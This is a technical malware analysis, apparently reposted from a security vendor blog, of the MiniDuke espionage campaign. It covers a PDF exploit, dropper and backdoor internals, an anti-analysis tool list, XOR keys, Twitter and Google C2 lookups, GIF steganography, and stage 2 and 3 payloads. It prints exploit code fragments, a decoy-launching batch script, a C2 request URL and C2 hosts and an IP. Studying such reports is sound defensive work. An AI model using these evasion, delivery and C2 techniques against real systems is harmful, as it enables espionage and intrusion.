MiniDuke的分析

FireEye announced the discovery (http://blog.fireeye.com/research/2013/02/the-number-of-the-beast.html) of an Adobe Reader 0-day exploit which is used to drop a previously unknown, advanced piece of malware

For their analysis, please read http://blog.crysys.hu/2013/02/miniduke/ . For our analysis,
please read below.

First of all, while the fake “Mandiant” PDF reports (see http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SeculertResearchLab+(Seculert+Research+Lab)) are just dirty hacks of the original exploit, these newer attacks appear to have been created by a 0 -day toolkit that was used to build the original “Visaform Tukey.pdf” discovered by FireEye.

The new PDF attacks drop fake documents that are shown to the victim if the exploit is successfully executed. The documents refer to a human rights seminar (ASEM) and Ukraine’s foreign policy and NATO membership plans

The JavaScript exploit code has been modified since the original attack. For instance, the function named “oTHERWISE” was renamed to “q1w2e3r4t”. The function is later called in the code like this:
New exploit:
var sCIENZA = q1w2e3r4t(vOLENCI[sHOGG('ODNEDNERp',3329,7937)], gIRARSI);

Older (“Visaform Turkey.pdf”) exploit:
var sCIENZA = oTHERWISE (vOLENCI['pRENDENDO'], gIRARSI);

In addition, the JS code is now in compressed format, while the original sample had it in plaintext. The reason behind the changes is probably to avoid detection by anti-malware products although this doesn’t prevent our product from detecting it heuristically as “HEUR:Exploit.Script.Generic”

The shellcode contained in the PDF document is similar to that used in the documents carrying the “Itaduke” payload, with some differences. For instance, after exploiting the vulnerability, it searches for a specific signature within the PDF file. While the “Itaduke” shellcode was looking for “!H2bYm.Sw@”, the MiniDuke version uses a different signature, “@34fZ7E*p \”.

 



Once the payload signature is found, it is decrypted with XOR and then decompressed using RtlDecompressBuffer API (LZNT1).
The resulting PE file is written to a temporary file and loaded using LoadLibary API.
The resulting dynamic library implements the second stage of installation. It contains two binary resources, 101 and 102.
Resource 101 is the main backdoor DLL component. It is written to the %AppData% directory and loaded using LoadLibary API.
Resource 102 is the decoy PDF document. It is written to the Internet cache directory and then opened using a simple BAT file:
TASKKILL /F /IM acro*
ping -n 1 127.0.0.1>nul
start "" "%path to decoy PDF document%"
The filenames of the dropped files are hardcoded in their resources.

If we are to trust the PE headers, the dropper was compiled on  Feb 20, 2013:

 



The backdoor used in the Hungarian case was compiled on “Feb 20 10:57:52 2013”, just minutes after the dropper was created.Perhaps the most unusual thing about these three new attacks is the malware they drop. In all the analyzed cases, the dropped malware is in the form of a 22,528 bytes DLL file. Parts of the malicious DLL file are encrypted with information related to the system configuration, which ensures it will only work properly on the victim’s system. If copied to another
computer, the malware will be unable to function successfully

The backdoor is written in “old school” assembler and is tiny by current standards - only 20 KB. This is most unusual for modern malware, which can be several megabytes in size. It has a small decryptor at the beginning that decrypts the main body. All three cases use different encryption keys. Another peculiarity is that the backdoor has no imports: all functions are scanned from memory and are called dynamically. It is also interesting that the first two Win32 APIs resolved and called by t he
unpacking stub are ntdll.LdrLoadDll and kernel32.VirtualProtectEx. These two functions are not called according to the “_stdcall” convention. Instead, a ‘jmp ebx’ instruction is executed after manually building the stack. Clearly some thought w ent into creating anti-emulation and anti-scanning techniques with this malware.

Backdoor analysis
The backdoor has a single export, which for instance is named “JorNgoq” in the Hungarian case. When this export is called at load, the backdoor sets the “.rdata” section’s permissions t o “RWX” and sets the mutex to a hardcoded string “nljhfdb”.The entrypoint of the library (DllMain) is obfuscated and the main body of the malware is encrypted. The encryption is rather
simple: the “.rdata” section of the library is ROL’ed with a linear key and XOR’ed with a fixed key. Both keys are derived from the length of the encrypted part.

Once finished decrypting, the library proceeds to the real “main” function. The main part of the library is written in Assembler, in an “old-school” manner typical for low-level viruses. The code is position independent; it has no imports and resolves API function addresses by hash values of their names.

passing strings as parameters via call, addressing API functions by hash values



The backdoor maintains seven call addresses that each maintain their own block of functionality.
The first block calls GetAsyncKeyState twice, checking for a mouse click, which indicates user activity in the system. The second block searches for all “*.exe” and “*.dll” files located in the %temp% directory. The third block fetches information about t he infected system with calls to gather information about the CPU, drive and the computername - these are used to decrypt the backdoor’s main body, which is custom encrypted for each unique victim.
The fourth block attempts to maintain self-protection from malware analysis. Below is the list of tools (and VMware) that it attempts to identify and protect against. It fetches the list of running processes on the system and attempts to identify if  these tools are among them:
apispy32.exe, apimonitor.exe, winapioverride32.exe, procmon.exe, filemon.exe, regmon.exe, winspy.exe, wireshark.exe, dumpcap.exe, tcpdump.exe, tcpview.exe, windump.exe, netsniffer.exe, iris.exe, comview.exe, ollydbg.exe, windbg.exe, odb.exe, ImmunityDebugger.exe, syser.exe, idag.exe, idag64.exe, petools.exe, vboxtray.exe, vboxservice.exe, procexp.exe, vmtools.exe, vmwaretray.exe, vmwareuser.exe
If any of the tools above are detected on the system, the malware will continue running on the system without further decrypting its code and exhibiting any other functionality. This will prevent it from doing any outbound communications with Twitter accounts, as described below. In other words, it will attempt to appear non-functional, especially to automated analysis, hiding its true nature behind its layers of encryption.User agent strings for web browsers like Opera, Mozilla and Internet Explorer are decrypted and used for all Internet access. Oddly, there are Linux versions included as well:
(Windows NT 5.1; (Windows NT 6.0; (Windows; U; Windows NT 5.2; (X11; Linux i686; (X11; Linux x86_64; (compatible; MSIE 6.0; Windows NT 5.0; (compatible; MSIE 7.0; Windows NT 6.0; (compatible; MSIE 9.0; Windows NT 6.1;WOW64) ;Trident/4.0) ; Trident/5.0) ; WOW64; Trident/5.0) ; SV1) )
The fifth and sixth code blocks are most interesting. They calculate the SHA1 of main system information which will be used in the C2 interaction later.
Following the SHA-1 hash generation, the backdoor will base64 encode its unique hash for later C2 communication.
The malware is activated upon reboot of the infected machine. To gain control at boot, it writes a randomly named LNK file to the startup folder, which in turn calls the main body using rundll32:

In the picture above, the malware’s main body is stored as “stat.bin” (a randomly selected name) in the “Ado be” folder. The LNK file calls it only exported function, “ImqRgno”.
Once activated, the malware will first contact Twitter and look for posts from some very specific accounts. These accounts should have posted an encrypted string which contains the magic identifier “uri!”, then an encrypted c2 string.

We presume many other Twitter accounts exist with similar parameters.
The encrypted “uri!” holds a different c2 for each version of the malware:
It’s most likely that these websites have been hacked by the attackers and injected with the command and control PHP script.
Secondly, the malware will connect to “www.geoiptool.com” to obtain information about the victim’s location.Interestingly, the backdoor has another update/c2 functionality.  It searches Google for a very specific string

The pages found by the Google search may hold an update “uri” similar to the one from Twitter. We can assume the attackers wanted to have a second channel for updates in case the Twitter accounts are closed.
Stage 2
The “index.php” on the C2 serves a fake GIF file to the victim, depending on the parameters it receives. Here’s what one of these GIF files looks like:



Here’s one example of a malicious request for the C2 domain “arabooks*dot+ch”:
arabooks.ch/lib/index.php?ia=TJ2b7uzMuh4fnt2n7aJisckAj6pEvkLPPsmk5gC77rPeYKmj8z58UWS1szY0FGzkp[REMOVED]lhUDxvzo1_IpYHfDI2MTg2NTM5OTF8MS4xMw==
The picture from the GIF file is actually very small and reminds us of the method used by Duqu back in 2011 to hide data, known as ‘steganography’:

At offset 0x6a4 inside the GIF file, there is a hidden encrypted PE file. The encryption scheme used a DWORD key also stored in the GIF file that is rotated. Effectively, this translates to an 8 byte long XOR key. The resulting encryption key used in the Hungarian attack for instance is {0xD2, 0x2A, 0xA2, 0x27, 0x79, 0x95, 0x52, 0x2D}. In the Belgian attack, it is {0xC5, 0x5E, 0xEE,
0xE5, 0x51, 0x11, 0x17, 0x7C}. For the Luxemburg attack, the key is {0x91, 0x18, 0x8C, 0xC1, 0x1C, 0xC9, 0x9C, 0xC9}.

The decrypted PE file (plugin / payload) is also written in assembler and, once again, it is encrypted with the same algorithm as the backdoor originally deployed in the system. We refer to it as “stage 2”. The m ain backdoor body saves the plugin with different names, for instance, it can be “xml.dat” and tries to run its only export using rundll. In our case, this didn’t ap pear to work very well:

Several different variants of the 2nd stage backdoors have been observed on the C2; they all perform similar functions but are encrypted with different keys and contact different C2s.
Command & control server information
The malware connects to several C2s depending on the information available on the control Twitter accounts or on Google.
For instance, on “artas*dot+org” it connects to “/engine/index.php”. Interestingly, the “img” subfolder allows listings and we can see several variants of the backdoor encrypted as GIF files:

Interestingly, on “tsoftonline*dot+com” we have several other files with different kind of names and sizes. They are larger and follow a different naming scheme: “*number+.gif”. We believe they are custom backdoors de livered only to specific victims by the attackers. We refer to these as “stage 3”.
Stage 3
While we were analyzing the samples, the attackers connected to the C2 and added a custom backdoor as “1109821546.gif”

This custom backdoor, referred to as “stage 3”, is much bigger than the previous ones – 300K+ in size. This is because the attackers used large layers of obfuscation code, including UCL compression. So far, we have observed two variants of the 300K
“stage 3” backdoor. The PE compilation timestamp for both is “Mon Jun 18 17:28:11 2012”. The number “1109821546” in the filename refers to the unique victim ID. In this case, we were able to determine that the victim is based in Portugal.
The backdoor connects to the following C2 for instructions:
news[dot]grouptumbler[dot]com/news/feed.php
IP: 200.63.46.23
It supports several commands, such as copy file, move file, remove file, make directory, kill process and of course, download and execute new malware.
The server at 200.63.46.23 is hosted in Panama: